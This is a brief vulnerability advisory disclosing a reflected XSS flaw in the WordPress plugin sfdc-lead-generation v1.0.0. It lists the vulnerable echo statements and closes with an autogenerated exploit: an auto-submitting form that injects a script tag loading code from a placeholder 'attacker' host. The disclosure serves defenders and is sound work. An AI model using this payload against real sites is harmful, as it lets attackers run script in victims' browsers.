Advisory #: 1249
Title: Reflected XSS in wordpress plugin sfdc-lead-generation v1.0.0
Author: Larry W. Cashdollar, @_larry0
Date: 2016-02-09
Download Site: https://wordpress.org/plugins/sfdc-lead-generation
Downloads: 254
Vendor Notified: 2016-02-09
Export: Json
Vendor Contact: plugins@wordpress.org
Plugin Name: sfdc-lead-generation
Vulnerability:
There is a reflected XSS vulnerability in the following php code ./sfdc-lead-generation/lead-generate.php: 62: echo $_POST['first_name']; 68: echo $_POST['last_name']; 74: echo $_POST['phone_no']; 80: echo $_POST['business_name']; 86: echo $_POST['street']; 92: echo $_POST['city']; 98: echo $_POST['state']; 104: echo $_POST['country']; The variable first_name appears to send unsanitized data back to the users browser via POST request.
CVE-ID: Not Released
File:./sfdc-lead-generation/lead-generate.php
Exploit Code:
Exploit was derived from appearance of first vulnerable parameter in code, there could be more shown above.
  1. This is an untested autogenerated exploit:
  2. XSS POST exploit modified from http://blog.portswigger.net/2007/03/exploiting-xss-in-post-requests.html
  3.  <form name=TheForm action=http://[target]/wp-content/plugins/sfdc-lead-generation/lead-generate.php method=post> <input type=hidden name=first_name value=&quot;&gt;&lt;script&#32;src=http://attacker/bad.js&gt;&lt;/script&gt;> </form> <script> document.TheForm.submit(); </script>